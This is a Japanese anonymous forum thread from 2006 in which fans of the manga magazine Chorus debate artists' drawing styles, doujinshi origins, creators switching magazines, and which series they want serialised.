もしかして、YOUで読んだ事あるかもしれない。 主人公の女性、お料理教室のアシスタントしてなかった? YOU、つまらないと思いつつ買ってた時、 この人の作品は一服の清涼剤的存在だった。 好きとまでは思わなかったけど、YOU特有のババ臭さがなかったっていうか。 違う人だったらもうスレ違いもいいとこだ。 スルーしてください、よろしく。
商業漫画より同人誌の方が儲かるから 同人ばかりしてるプロ作家も多数いるよ。 部数が多ければ多い程一冊の原価が安くなる。 原価10円以下の本を1000円で売ったりする世界だから。 当時のウミノは大手だと聞いたので同人だけで充分生活出来てたはず。
少女漫画家ってホモ漫画出身者多過ぎだよ。 普通に好きになった作家が元ホモ同人だって別にいいけど ちょっと多過ぎてびっくりするわ!
>>192 あ、そういう世界なんだ!
へぇ〜、奥深いのね同人って。
ちなみにコーラスでは誰かいる?
>元ホモ同人
今「泣いた赤鬼」の話書いてる人は、どっかでエロ系描いてるらしいけど、
それ聴いた時、驚かなかった。
もんでんさんがエロも、さもありなんだし。
>>192 >>194 それバブルの時代の話だから
同人バブルは一般社会のバブルよりちょっと遅れてあったらしいよ。
で、バブルがはじけて同人の人たちが確実にお金が入ってくる商業誌に来たって説もある。
実際のところは知らんが。
スラムダンク読んでた殆んどの女の頭の中ではキャラ同士のホモ話で一杯だったわけだ
松田奈緒子ってフィールヤングにいっちゃったのね・・・
松田奈緒子、BETHにもメインメンバーとして行くんじゃなかった? 作家が流出始めそう。
>>198 フリーの作家は安定しないね…
コーラスに集英社専属作家って何人いるんだろう?
質問されても
分からない人は黙ってりゃいいんだよ。
あと半年も経たないうちに御大もくらもちも出てったりして・・・ 元から居て残るのもんでんくらいになりそうw
専属かどうかはともかく、集英社を出なさそうなのは御大くらいじゃない? ウミノさんも今は浮気するより集英社にとことん売ってもらう時期だし 吉住さんも集英社が面倒見そう あと佐野さんも他社には縁がなさそうだね。 ほかの作家さんは流動的だと思う
もんでんも青年誌に戻るわよ
>>192 原価10円以下の本って。ありえない。同人に詳しくないのに適当に言わないでくれ。
もしいくら最大手で大部数を刷ってても一冊原価10円なんて計算自体おかしい。
オフセットの印刷会社干上がっちゃうよw
ボッタクリ主義の大手なら100〜200円の原価の本を500〜800円にして売ってるぐらいはあるかも。
1000円以上もするなら、ある程度以上の厚さがないとさすがに買わないし
豪華装丁で凝ってる場合もあるから、原価で500円はかけてるでしょう。
500円の本を800円で売って儲けが一冊300円でも1日一万冊売れば
単純計算で300万円だから、充分すごい儲けだけど、
そんな大手はこの不景気でもはやほぼ絶滅しているのでは・・。
原価10円って、宣伝ペーパーや便せんの印刷料金の単位だよw
あと、羽海野&河原&かわかみの本はみんな、そんなに高くなかったよ。
ぶ厚い再収録本でもない限り、1000円以上の本はめったにない良心価格だった。
みな本当に楽しんでキャラを愛して描いているのが伝わるよい作家さん達だったよ。
腐女子長文乙
コーラスに同人作家たくさんいるとはショックって思ってたら 読む側にも腐女子がたくさんいたということでなんか納得した
同人話もうお腹いっぱい。他でやって。
>>205 へぇーへぇーへぇー。
ウミノさんが同人(←ほとんど知識なかったけど)の出身っていうのを聞いて、
あらためて読み直してみると、確かにそんな感じがするような。
なんか羨ましい。
描きたくて仕方ないんだろうねぇ・・。
本人らが楽しんで描いてたとしても勝手にホモ設定にされたりして 描かれてる方の作家は嫌な気分だろうな
>>211 あ・・それはあるかも・・。
オリジナルの熱狂的なファンにとっても、
勝手にいじくるなって事で腹立たしい場合もあるでしょうし。
微妙だな、同人。
しかしその情熱がうらやましいのは確かだ。
なんでこんなに腐臭が。
ここはもともと、ある種の「巣」でしたからね。
漫画家のホモ同人歴を素直に受け入れられる人が こんなにいるとはビックリだ 自分は嫌悪感しかないよ
っつか、スレ違いだろ。
オリジナルならともかくキャラ勝手に使って妄想ゲイ漫画描いてんだからなキモヒ
>203 ハチクロの人、ハチクロはもうすぐ終わって 次は青年誌で将棋漫画書くらしいけど、集英社?
>>215 少女漫画好きには昔からもともと少年愛好きな人が多いんだから
自分のほうが少数派だと自覚したほうがいいよ
大半の少女漫画家には同人経験があると覚悟しよう
プロのアシとバイトをカケモしながら好きな同人もバリバリやって、
力がついたら少女漫画かボーイズラブでデビューが王道だから
>>219 いや、ちょっと待て
描く方の実状はどうだか知らんが
読む方も「ホモが多数派」って何を根拠に言ってるんだ?
多数か知らないが私はどっちもおk でもここでホモ同人のみ語るのはスレチでしょう。
商業誌でホモ漫画描くのは勝手だけど他人の作品のキャラでホモ同人やってるのは嫌悪
>>219 読者にホモおkが大多数派ってありえないだろ
漫画家はある種の漫画のマニアだからそういう方面に行く人も少なくはないけど、
読者はそうではない
しかもコーラスはノーマルな読者がターゲットだろ
自分の方こそ少数派だと自覚した方がいいよ
しつこく同人話してわざわざリンク貼るのキモス('A`) 何この粘着…
もうスルーしちゃえばいい。 話が戻るけど 一条御大は、音楽業界物をもてあましてる感があるし、 かといってモサの着ぐるみ業界はもう見たくないしw 業界物は半端な取り入れ方だとつまんないし どんなジャンルでも心理描写が悶々と続くのは疲れるし。 こぎつねみたいな、ギャグ以外でオリジナリティのある連載が欲しい。 まあれはホテル業界物でもあり育児物でもあるんだけど、なんでだかそういう感じがしないのがいいよ。
面白くないという根本的な問題が
なんか「この雑誌はコレ!」みたいな代表作みたいなのがほしいな 4、5年くらいずっと描いてるようなもので、 それでいて脇でひっそりって感じじゃなくメイン張れるようなもので あ、ハチクロは3誌も渡り歩いてるから除外で
YYでは、誰の書く作品がメイン連載になってたんですか? ハチクロ除外で
マッキーかもね
>>231 だね。全盛期の、という但し書き付きで
おいしい関係が面白かった時は本当に次回の展開が楽しみだった
ハチクロはやっぱり外様だからYYの看板のイメージはなかったなあ
>>227 一条御大、音楽業界物というより、中途半端な芸能界・幼稚な
恋愛物語になってしまったね。
好きだけど、楽園もライちゃんもアノンも雰囲気漫画だし。
コーラスってしっかりした構想で読み応えある物語ってないね。なんでだろ。
面白けりゃ何でもいい。 業界ものも単なるハウツーならイラネ
>>233 茎とかもそうだけど別マの延長線上的な雑誌作りしてんじゃないのかな
>>234 同意。ああ〜、なんでもいいから面白い話読みたいよ。
西村しのぶガハクなんて、年下男とかはマンネリはいってるとは言え、 初恋じゃない恋愛路線を書ける貴重な人だと思うのに。 いかんせん忘れたころに載るシリーズ連作。他誌でもそうだし。作品自体はあまり多作じゃないから惜しい。 初恋系やメインキャラの精神年齢が幼い作品はパスしたいんだよ。 でもYOU的オバ感覚はいやだから。 ぜいたくだねスマン
荒れるかもしれないけどごめん やっぱりこう思ってしまう くらもちさんカムバック
寡作になりつつあるとはいえ 宮脇明子さん。 短編でもいいけど 庭ちゃんシリーズとか気合い入れてくれたらなあ・・・ 初期はシリアスサスペンスだったのに。 よく考えるとアレは 保健室のオバサン&神宮寺少年の組み合わせが 男女逆になってるんだな。
宮脇明子さん, 絵が古臭すぎない?楽園の1000倍は古い絵だと思う。
宮脇さんは話の内容と合っている気がするからきにならないな。 楽園の古くささと垢抜けなさ、話の陳腐さがまったく受け付けない。 ファンの人ゴメソ
楽園好きは、あの古くささと垢抜けなさ、話の陳腐さが好きなんだよw 八神vsカズヤ贔屓の対立は、幼稚過ぎて引くけどさ。
楽園好きな人って佐野さんのファンというよりも あくまでも楽園のファンってイメージ そこが一般の好きでも嫌いでもない人から見るとちょっと引く もちろん以前からの佐野さんも好きな人がいるだろうけど
>>240 この人は一条ゆかりと同じようなもんでそ
マーガで保健室のオバサン連載してた頃から
この絵柄
セブンティーンで連載してたときから古臭かった希ガス
宮脇明子ってホラーがピッタリの絵柄だよね
>243-244 楽園ヲタは、楽園を古臭いなんて思ってないと思う。
自分、消防の頃から御大の絵が古臭いなと感じてた。 砂の城コミクスを本屋で見かけるたび、古くてコワイ絵だと思ってた。 当時なかよし読んでたせいか、津雲なんとかさんと同路線だと勝手に勘違いしてたよ。
>>249 同意ズラ。
宮脇さんと御大さんは、古くてコワイ印象がある。
そして吉住的世界を全く知らなかった私には、
彼女は新しい系の絵だと思ってた。
宮脇作品イマイチだったけど、一番最近コーラスに掲載された作品見て、
探偵を超カッコイイ設定にして、江戸川乱歩っぽい世界感の作品読んでみたいと思った。
庭師はあのコスプレがあんま好きじゃない。
御大とか自分が消防の頃からレディコミチックだし そこが個性なのかと
250だけど、レディコミちっくではありながら、やっぱ一線を画してる感じはある。 そんなに好きな絵ではないんだけど、「格」みたいなのがあるかな、と。 御大御大言われて、世間の評価に洗脳されてるのかもしれないけど。
>>252 禿げしく胴衣。
以前YOU見た時はマジでガクブルだった。
レディコミの絵ってこんなに古くさくてグロテスクなんだ!とオモタよ。
御大とか宮脇さんはパッと見の印象も違うし、
やっぱり一線を画してるよね。
…って、別に二人のすごいファンでもないんだけどさ。
>>253 グロまで言うかw
でもほぼ同意だわ。
私もYOU読んで、YOUとコーラスは、同じマンガ好きというカテゴリーではくくれない・・・ってびっくりしたから。
これだけコーラス読者から異物扱いされるYOUって….
コーラス潰れてYOUに吸収合併されても誰もついていかなさそうだな。
逆にいうと、YOU読者もコーラスは同じ漫画枠では括れないみたいな感覚なのか。
>>250 吉住的世界って、元祖りぼんって感じ?目がでかくて、人形ぽい無表情で
話は中身無いけど、設定は奇抜。
私は現在のコーラスとYOUにそこまで言うほどの違いも感じないけどね。 それは対象年齢や多少の誌風の違いはあるだろうけど、 YOUも往年のレディコミチックな作家より世代交代も始まってるようだし。 YOUといえば、星崎真紀にLaLa時代のような作品をコーラスで描いてほしいなぁ。
>>255 言いたいことは同意なんだけど、元祖りぼんて言葉はちょびっと違和感ある
あの系統の絵の元祖は池野恋とか水沢めぐみとか本田恵子辺りが確立したって感じで
吉住はその影響を受けた次の世代ってイメージがある
池野や本田(幼稚さのある水沢はまた別の系統だと思う)に比べて、 吉住の絵はどうも無機質だね。
本田は、一時期相当絵が荒れてたけど 池野と吉住は一定の絵柄保ってるよね… それがいいのかどうか分からないけど そういえば、コーラスって俺様メガネ君が 出てくる漫画ないね? ハチクロの真山は若干違う…
>259 そういや、本田恵子って絵柄綺麗だったよね。 コーラスで連載してたのは絵はともかく中身はスカスカで ともかく変な話だった<つんつん月子 池野恋は、コーラスには来ないんだよねぇ、まだ「ときめきツゥナイト」やってると 聞いて驚きましたわ。
>>250 話はともかく、絵柄(?)を新しいと思ったんだよね。
あー最近の若い人のマンガはこんな絵なのね、みたいな感覚。
>>260 つんつん月子はコーラスじゃなくてワンモアキス掲載。
コーラスだとまた会う約束とか描いてた。
私はこれは結構好きだった。
池野恋は今のお子様向けに劣化しきった絵では、コーラスで描くのは無理。
ときめき第一部〜二部にかけての絵とは別人。
池野の場合は吉住に影響を与えたけど、後に吉住の影響を受けてしまったって感じかなぁ。
>>261 吉住はすでに相当なオバ絵(古い)もいいとこの絵だよ。
コーラスではもんでんさんとかは結構研究している方だとオモ。
今の流行とか傾向も取り入れてオリジナルにしてる。
別にもんでんさんのファンじゃないけども。
>262 本田・池野って、りぼん黄金期の作家だよね。 自分もその頃りぼん子(死語)だった。 ときめき1部は今でも読めるし好きだろうが、 あの月星は恥かしくて読めないだろうなw この違いは何だろう。
>>263 そうなの?
別マ読みで、創刊とともにコーラスへ移行、
それ以外はほとんど読んだ事ないから、あまり詳しくないんだよね。
でもま、年代別の書き分けとかの欠点はあるにせよ、
シンプルで綺麗な絵として評価されててもおかしくないとは思ってる。
吉住って27の自分が消防の頃既にりぼんでハンサムとか描いてたんだけど・・・ アレを新しいと感じるとはそうとう・・・
どこからが新しい絵なんだろうね…? 吉住サンは、古いとも新しいとも思わないけど
268 :
花と名無しさん :2006/07/09(日) 20:33:22 ID:NGav+qLe0
>>261 20年ほど前と同じ絵を描いているのが、正直怖かった…
りぼんで「四重奏ゲーム」や「ハンサムな彼女」といった彼女が人気が超上り坂の頃に読んでいた
世代ですが。
普通20年もあれば絵が相当変わるのに。
一条御大が20年前の絵で描いていてくれたら素直に嬉しいなあ…
>>267 私にも正直、「新しい絵」という定義が良くわからない。
今の別マや別コミやその他の雑誌の作品も読んだりするけど、別に新しい絵という
意識もあまり無い。
別に90年代にあってもおかしくは無い絵だとも思うし。
四重奏ゲームの頃って懐かしいな 吉住はまだあの頃のりぼんでは脇で支える漫画家程度の存在だったよね んでその後すぐハンサムで急上昇したけど、 自分にはどうも四重奏ゲームまでのイメージしかないから 今の大物漫画家扱いに違和感がある
>>268 >普通20年もあれば絵が相当変わるのに。
吉住嬢って、20年選手なの?あの話のプロットからはそれ程のベテランの味わいなかったけど。
でもさ、裏を返すと、絵が劣化しないって凄くない?
自分の好きだった作家サンは見事に皆さん劣化してる。もう別人。
御大絵も劣化してるし、ストーリーの起承転結も構成も劣化しちゃった。
私も吉住の絵は古いし垢抜けてない印象を受ける。 すげー丁寧にキレイに書いてるのもまた低年齢向けっぽいイメージ。 センスが古いと言うか、何と言うか… 最近はぜんっぜんダメだけど、桜沢エリカとかは絵にセンスあるなと思ってた。 もんでんさんも絵は好き。 単に趣味の問題か。
>>272 キャリア20年であんな話を書く方がスゴイよ…
マジで低年齢層向けの少女漫画しかかけない人なんだとオモ。
趣味の問題だね。 私はラフな絵柄より、丁寧にキレイに描いてるほうが好き。 吉住は好きなタイプの絵じゃないけど、嫌いと言うほどでもない。
なんとなく思う。今のコーラス読者層って、年代で求めるものが違う気がする。 ぶーけ初期中期の読者と、その頃りぼんを読んでた読者というか。 共通してるのは、Youの昼メロ系や他社のレディスに多い家族もの育児ものはイラネ、ってことじゃ? コーラスでデビューした作家が、三本柱になれるほどまだ成長してないのは仕方ないけど なんつーか夢を与えてくれるような作品が合っていそうな気がする。 個人的好き嫌いは別として、居たら箔がつくっていう感じの作家、将来性ありそうな作家も含めて、 三本柱候補を考えてみない? 自分的には、りぼん出身者はクッキーのが合うと思うし、月刊セブンティーン出身者はYouが合うと思う。 一条御大 (出ないときは 宮脇明子 くらもちふさこ) 岩館真理子(出ないときは 聖千秋 佐野未央子など マーガか別マ出身者) 甘夏堂とかのわりと新しめの作家
>>274 ストーリーじゃなくて絵の話をしてるんじゃ?
実際、キャリアを重ねるごとに絵が劣化していく人は多いし。
278 :
花と名無しさん :2006/07/09(日) 20:56:54 ID:NGav+qLe0
>>272 正直言うと、御大の絵も砂の城の頃と同じだと、ものすごく古くさくて、今の絵より受け入れられないと思う。
変わらないことで受け入れられるためには、絵以外で強烈な魅力が必要なんじゃないかな。
そうでなければ、ある程度は変化が必要かと。
>>270 自分は具体的にどういう絵柄が新しいっていうわけじゃなくて、
例えばハチクロみたいに、今風のファッションを描いて
無理なくマッチすることができる絵が新しい絵という感覚があるなあ
吉住も頑張ってるぽかったけどあの絵柄ではどう見ても合ってない
>>276 いい感じだけどなんか岩館さんの位置に違和感が・・・
>>278 ハゲドウ
変化も必要だよね。劣化ではなく…。
>>277 一般的にデビュー絵---拙い
2-3年目:成長
4-5年目:ピーク
後は劣化の一途。10年以上の選手だと緩急つけて、上手く手抜きしてる人もいるけど
概ね、雑で劣化絵、多いよね。
>>279 今風を描こうとしても、どうしてもモッサい感じになるもんでんさんみたいな人もいるよね。
同じような感じが、吉住、聖、佐野さんあたり。
これらの人達は、ジャストの読者層以外へアピールするようなセンスを感じない。
だから大きく流行る事も無いんだろうな。
私は話がそれなりだったら絵の劣化とかはあんまり気にしてないな正直 御大とか聖さんとかここで言われてからああそうかもと気付くくらい
>>266 その頃のりぼんとか読んでないし。
若い人が書く絵は新しい絵→
コーラスより対象年齢が低い雑誌は、書いてる作家も多分若いだろう→
吉住さんの絵柄はコーラスよりそっちの方になじむ感じ→
つまり吉住さんの絵は新しい
こういうう変換してるんでしょうね、脳が。
>>282 そうそう、もんでんさんとか言われればそうだね
まあけして今風じゃない絵が悪いわけでもないけどね
逢坂さんとかむしろあの古さが話に合ってるし
新しい絵だからって好感持てる絵とも限らないし
コーラスは古いタイプの絵を現代風にややアレンジした、という印象。 (分かりにくい表現でスマソ) 古いというか、昔からある絵柄に 表現や雰囲気でオサレ感をプラスしたというか。
>285 コーラスより対象年齢が低い雑誌は、書いてる作家の年齢はともかく 絵柄は若い子向け、お話も子供が喜ぶスペック。 コーラスで描くなら、それなりに合わせて欲しいけどねぇ。 吉住・谷川ってベテランなんだから、そのぐらい編集のディレクションで 出来そうな気がするが。。。無理?
あーなんか分かる気ガス。 古臭いのは無いけれど、さりとて今風にはなり切れてはない。 典型例がうわ何をするやめ(ry
無理だとオモ あれでいっぱいいっぱいな感じがにじみ出ていて こっちが痛い…もう載せないで、編集さん。 お互いが不幸です。
>>283 禿堂。確かに手抜きだな、とか感じたりはするけど…
ストーリーが面白ければ絵がどうとかってのは気にならない
ただ、連載物で初期と最後で別人みたいなのはどうなんだ?
って思う事はあるけど
>>289 >お互いが不幸です。
それほんとその通り
>290 それって具体的にどれのこと?<連載物で初期と最後で別人 プライドって、最初の構想からアレだったの? それとも御大の気が変わって中途半端な芸能モノなの?
>>271 マジですか?>大物扱い
自分も同じ頃にりぼん読者だったので大物と言われてもピンとこないな
このスレの伸びっぷりwww 吉住は色々な意味でこの巣には必要なんじゃねーの?www
>>292 それは御大と編集の中の人にしか分からないと思うけど、
連載直後からオペラ物でいくのか世俗的な部分の話でいくのかどっちだ
みたいな話題はここでやってた気がする
で、蘭丸の母親のクラブで塩が歌うって辺りから
やっぱりオペラ物ではないなって言われてた気がする
>>294 別にそのために吉住を使ってまでこのスレを盛り上げる必要は無いと思うの
ハチクロは必要悪な感じするけど 吉住は・・・
>>295 御大スレでは、いきあたりばったりで話を進めてるのがorzなひとが目立つ。
連載は、オペラが手に負えなくなって水商売、芸能界、を行ったり来たりだし、
恋愛の方は誰と誰がくっついてもいいような流れになってる。
>293 アニメ化・ドラマ化されて、売上ホクホクだった吉住さんは 大物なんじゃない?稼がせてくれる作家は編集にとっては大事だろうて。 読者とはプライオリティちゃうよ。
吉住さんはクッキーには描けない大人の事情があるんじゃ? んで、往年の吉住ファンがいそうなコーラスで描かせることになったが 話がしょぼくて長期連載は無理なんで、短いのでおちゃをにごしている、と。 いっそ原作つきでやればいいのに。 アガサ・クリスティみたいなのより、 天使の卵とかの、巷の話題作のがいいし、 集英社ならコバルト作家の原作がいくらでもありそう。
(σ´∀`)σ300ゲッツ!!
コバルトって・・・・・ティーン向けじゃw
>>299 ソースも何もないんだけど、何となく吉住さん自身が
クッキーとコーラスならコーラスの方がいい、と言って
いるんじゃないかと憶測。
吉住がクッキーにかけない大人の事情って、 末期x御大の確執みたいなものがあるのでしょうか?
天皇YAZAWAに嫌われてるとかか?w
>>303 > 末期x御大の確執
って、前から気になってました
具体的には何だったのですか?
すみません無知で。
出ていそうな過去スレいつごろのか
教えて下されば自分で読みに行きますので、
ご案内をおねがいしたいです。
なんとなく夢の共演とか煽られていたいくえみ・矢沢と比べると劣るせいじゃないかと
>>292 コーラスの作家さんは知らないけど…
長期連載になると別人になってるのって結構あるよね?
花男とか
>>306 コーラス最下位争いよりはそっちのほうがマシだろうに
>>308 本人と編集的には、最下位争いになるなんて
思ってもみなかったんではないかと。
ちょうどママレードとかハンサムをリアルタイムで
読んでいた人間も、コーラスを読んでいるし…と。
いくえみさんとくらもちさんって確執とかある? 検証スレ読んで、そういう可能性あるかなとか思ったんだけど。
そういう話をこのスレにまで持ち込まないでくれる?
>>298 293さんにとってはその吉住が売れまくってた時期が
ちょうどすっぽり抜けてるから、実感として大物感がないのではないかと
自分もそう
売れてるのは知ってたけどその頃はもうりぼん読んでなかったし
>>305 へりくだる場所、間違えてるw
ここ普通に「巣」だからさ。
>312 ママレアニメ化で大儲けしたんじゃない? タイアップでオモチャとかの版権で儲けただろうから 御大より稼いでたかも。
>>315 かもね。しかし続編で食べていける池野さんの「ときめき」とはちがうわけだ。
ま「ときめき」は低学年向けとはいえファンタジー系のジャンルだから
初恋や失恋やらは付加的に出てくる要素。
恋愛を主軸にする内容であれば、作家が年齢相応の恋愛ドラマを描けないと。
ってところでは、吉住さんも御大も無理して若者の青春を描こうとしてる感が濃い。
レトロ感覚を貫いてる佐野さんのは、個人的好みはともかく絵も話も無理感がない。
絵だけが萎えで話はいいとか、話が萎えで絵だけがいい、
ってのは、ギャグもの別にすると、めったにないな。
絵がへたれてる作家は話もしょぼい。
絵が古くさくても話がけっこうよく出来てるのは
津雲さんなどのセブンティーン出身者に多い気がする。
津雲さんコーラスの文学少女志向には合わないだろうけど。
>>315 御大はそんなに無理してる感はないけどなー?
オペラとか音楽業界に関しては無理してるかもしれないけどw
吉住さんは、ほんと勉強しなおしてください。
318 :
317 :2006/07/10(月) 00:56:37 ID:???0
>>317 御大は相変わらず御大節全開じゃない?
自己投影キャラで語ってるし。無理ありありなのは、萌やランなどの
自己チューキャラそのものかも。
オペラとか音楽業界に関しては勉強する気は余りないなら、
編集がもっと資料集めすればいいだけなのにね。
無理せずに楽園みたいな昔なつかしいタイプの女の子の恋物語とか ベタ漫画の方が楽しいかも
楽園はベタ漫画だったw バカ一スレに書き込んでいたらいつの間にか楽園のあらすじが出来る
ただ楽園は、ヒロインに共感できる人少なそうな悪寒・・・
>>249 すごく遅いけど私もそう思ってた
それに反して昔から吉田まゆみの絵柄は新しいなと思っていた
吉田さんはフレンド系では
私は逆に、吉田まゆみさんの絵柄は こっぱずかしくなるくらい古臭いと思ってた。 そういえば吉田さんってコーラスで書かなくなっちゃったね。
吉田さんが最後にコーラスに描いた作品は確か演歌系漫画・・・orz
読んだ覚えが全くナイ。 連載? もしかして、買いそびれてる号があるのかよorz
御大の絵は、やっぱりデザイナーぐらいから砂の城1部ぐらいまでがすごく綺麗だよ。 少女・少年の瞳や表情もかわいらしいし、デッサン狂いが少ないし、 アシ描きだとは思うが建物や風景に繊細な美しさがあり画面と一体化してる。 なにより人物もアシ絵との違和感が今程ない。(たまに友達が描いたらしいのは凄いけどw) 脇の人物でもけっこう本人が描いてるってのもあるのかな。 話も今みたいに意味無くだらだらせずスピードがあった。 自分も吉田まゆみの絵柄は80年代初期って感じで逆に古く感じるなあ。 江口寿史の影響をモロ受けまくった当時の漫画家達の一部って感じだ。
吉田まゆみ、男っぽい男が描けてて好きだった。 絵はそんなに古いと思ってなかったのだが…自分のセンスがorz 絵よりストーリーが迷走してたと思う。妙に奇をてらって。残念。
絵が新しいか古いかはよくわかんないけど 吉田さんの漫画はおしゃれなイメージだった 田舎モノの私は「都会のお姉さんはこんな服を着てこんな生活をしよるんじゃなー」 と思っとった 今でも絵柄は昔とそんなに変わってないけど なぜかレディコミ風味の絵に見えてしまう
>>327 「くしゃみ3回」単行本も三巻までいった連載だよ。
ローファー・ローファーが終わってそんなに間をおかなかったから、
連載開始は十年近く前だったと思う。
当時読んでなかったか、あまりにもつまんなくて忘れたか、だろうね。
>>327 私の記憶も定かでないが確か連載だったような・・・
多分面白くないから読んでも忘れてしまう内容だったんだね。
幻じゃないよ!ちゃんと読んだよ!w
>>331 >>332 d。
・・・タイトル超覚えてる。
たぶん読んでるねこれは。
ググってきます。
吉田さんって絵は個性的なのに、話は古くさくない?
絵もこの上なく古く見える。
んじゃ誰の絵が新しいの?
最新100レスくらい読めば?
>322 楽園って、ヒロインに共感する漫画というより、雰囲気を味わって 母親目線で娘の恋人品定めしてる感じ。 20代後半の自分はトモエってなーんか苦手だ、性格捻くれてるといわれそうだけどw
つまり、ごく一部には受けると
トモエって途中でキャラ変えしなかった?
もう最初うざくてたまらんって感じだったのが、
そのうち何とも思わなくなった。
>>337 オオコワw
十萌って、いわゆる俺女?
くしゃみ3回好きだったけどな そんな私でも吉田さんの絵は古いと思う
くしゃみ3回は心底つまらなかったが ローファーローファーは好きだった私 しかし吉田さんの絵は古いと私も思う
コーラスってサプリとか、お仕事マンみたいに、女がお仕事ガンガルって 感じの職業モノが不思議とないよね? 主婦がメインターゲットだから?
聖さんのロンゲのダジャレ男が出てくるやつって一応職業モノじゃない? 聖さんここ数ヶ月見ないけど
多くはないけど昔はあったよ。 末期イマジンとか広田さんの伝道師とか 誰の作品か忘れたけど「豆課長」が出てくる話とか。
聖さんのやつ最初見たとき、ロンゲ男だけじゃなくて全般的に古いからてっきり昔の作品の 再掲載(完全版発行記念とかで)かと思ってた。
イマジンって職業モノだっけ?説教というカテゴリーに入れてたけどw オイシイ何とかっていうレストランの話は職業モノだった記憶。
主婦ってゆーよりも、かつて少女マンガを読んで育った人がターゲットで、 少女の頃の気持ちで読めるマンガ雑誌ってのが狙いだったんじゃまいか? だから、そよちゃんや十萌が主人公でも感情移入して胸をトキメめかせて読めた。 実際みんな、ビジネス漫画も嫁姑やエロレディコミも読むこともあると思うけど、 コーラスで説教臭い話や生活臭や過剰なエロ描写やホモカップルとか見たいと思わないんだと思う。 そんで、ちょっとそんな流れの話が載ると、必ずこのスレで叩かれてる気がする。
本日、ボロカスに感想書いたアンケを出してまいりました。
>>349 >コーラスで説教臭い話や生活臭や過剰なエロ描写やホモカップルとか見たいと思わないんだと思う。
そんで、ちょっとそんな流れの話が載ると、必ずこのスレで叩かれてる気がする。
んなこたあない。おもしろい作品だったらそんなに叩かれることはない。
叩かれてるのは一様に作品として破綻してたり、つまらないものだから。
しかしコーラスでエロや生活臭は絶対ヤダと私も思うが。YOUへドゾーと思う。
>>349 ソコの浅い、説教話や生活臭や過剰エロやホモが嫌なんだよね。
話がしっかりしていればOKだけど。
自分は、ビジネス漫画と、嫁姑エロレディコミは全然別物だと思ってるけど、
コーラス的には、恋愛漫画か、それ以外みたいな括りなの?
カチョーサァ・・・ッン
え?!もさ漫画って、職業ものなの?
社内恋愛はマグロ漁船だっけ?
>>329 > 絵よりストーリーが迷走してたと思う。妙に奇をてらって。残念。
て、今の御大そのもの・・・
絵が古くさいとかはあまり気にしないよワタシ。
もはや昭和の頃の繊細な絵が描ける作家なんていないんだろうけどね
コーラスには。
話の自然にのれないつか作者息切れ状態マンガが多い、
いや 昔は新しく感じたって話ですよ>吉田まゆみ ああいう絵柄の人あまりいなかったし
>357 絵が古くさいより、話が古臭い方が嫌だな。 余りベタ展開されると萎えます。
新旧よりはごちゃごちゃした絵が苦手。 だからそのださんのはほとんど読んだことがない。ハチクロも同様。 ストーリーは、ベタでも読みごたえある展開なら許容範囲かな。 それにしても、こんな許容範囲のぎりぎりをはからなきゃいけない作品ばかりじゃ コーラス読む価値なし、になってしまうよ・・・・
ローファーローファーの主人公がカッペだったから なんとなくダサい感じしたなー
展開に関してだったら、ベタなのよりも無理がある方がダメ。 今月号の萌号泣とか。 読みたいのは、日常生活の中に潜んでて、 見てるんだけども気付いてなかったり通り過ぎてるような詩的(?)要素を、 再確認されてくれるような作品。
そのださんって、そこだけ紙質劣化したの使ってるんじゃないか?ってくらい・・・だった。
実際に劣化してた時もあったと思う。
>>360 ハチクロ、カラーは綺麗なのに、モノトーンだとほんとゴチャッとしてるよね。
そこが煩くて、話に入れない。
>>362 前半全く同意〜
後半は、おおげさな言い方しちゃうと詩的とか文学っぽさなのかな?
生活に追われる大人になってしまったからこそ、そういうのがほしいような。
TVドラマに例えると向田邦子作品に出てくるような、日常的なんだけどどこか違うっぽいの。
>>362 >>364 が思い描くのは、例えば誰のなんて作品?コーラスの中で言うと。
なんか
>>362 のラスト3行は、くらもちさんがピッタリ当てはまるような・・・
まあ、昔みたいに紙媒体が強かった時代じゃないし、 生き残ってゆくには、ある程度の妥協は必要なんだろう。 それでも、コーラス本誌の方は、質より量っていうのはやめてほしい。 別冊や増刊じゃないんだから、分厚ければいいってもんじゃない。 ドラマチックな流れのある連載で二本くらいの柱、 一話完結方式の連作で二本くらいの柱、 ってのがあれば・・・ 新鋭でたまにしか載らない作家のファンの方には申し訳ないけど、 本誌は、キャリアのある作家の方と編集担当さんがよく練った作品ってのを柱にしてほしいなあ。 ベテランだからって昔の得意分野そのまんまじゃなく、 今の得意分野を見極めて活かしてあげてほしい。
もうずばりくらもちさんですよ。 向田邦子、あんまり覚えてないけど、言われてみるとそうだったかもしれない。 日常生活に潜んでる「ほっこり」とか「人情」じゃ嫌なんだよね。 YOUでもまかなえる類は興味ない。
>>365 日常生活文学風といえば、やはりくらもちさん。
あと、甘夏堂とかは、絵も話もあっさり系なんだけど、この人はそういう方向へ行けるような気がする。
無理があるで思い出したけど、 クローバーの展開もそういやハチャメチャだった。 けどぬるく流したって事は、ハナから期待してなかったのかも。 子供と大人じゃ、求めるものが違ってくるみたいに。 それもどうかと思うけどw
>>368 甘夏堂って、女の子の実家がお菓子屋さんのだっけ?
確かに絵は何かいいもの持ってる感じするけど、
お話にはそういう印象受けた事ないかも。
石井まゆみなんてどうでしょ?
この人は、フレンド時代は、別マなら聖千秋的なポジションにあった様な気がするけど、
>>366 > 一話完結方式の連作で二本くらいの柱、
になれそうな。
いかんせん恋愛相手の男性がいつも同じタイプのキャラなので、
今のこぎつねみたいに恋愛要素を最小限にするかして
都会風メルヘンファンタジーなんかイケそう。
甘夏堂より勝田文をヽ(`д´)ノ
私も勝田文を求む!
甘夏堂ってロリコン和菓子屋と 町内野球チームの連載してた人でしょ。 私はどっちも死ぬほどつまらなかったな。 二度と本誌に帰って来るなーヽ(`д´)ノ
和菓子屋のは、オトコキャラが気に入らなかった。 お話自体はそれほど嫌いじゃないけど、なぜかオトコキャラだけムカつくのって、 いくえみさんの作品にも感じる。 主人公が片思い気味に好きになってる男が、なーんかこ生意気なんだよな。
別冊によく載ってる、宝石屋の話が結構好き。
宝石屋って前ちょろっと叩かれてたやつか
話題には出てたが、叩かれてたわけではないと思うけど・・・私は結構スキだったよ。 でも別冊に載ったのって過去1回だけだよね?夏号(今月号)にも載るみたいだから評判はまあまあなのかな?
>>365 362でも364でもないが、
コーラス初期に連載されてた相模なつきの「キヨフミくんの彼女」は、
普通の高校生カップルの普通の生活の中にある、
ちょっとした感情の流れみたいなものが丁寧に描かれてて好きだった。
相模さん、途中からどんどん絵がアク強くなっちゃって残念だったなあ。
別マからコーラス初期の、古き良き少女漫画テイストの繊細さがありつつ
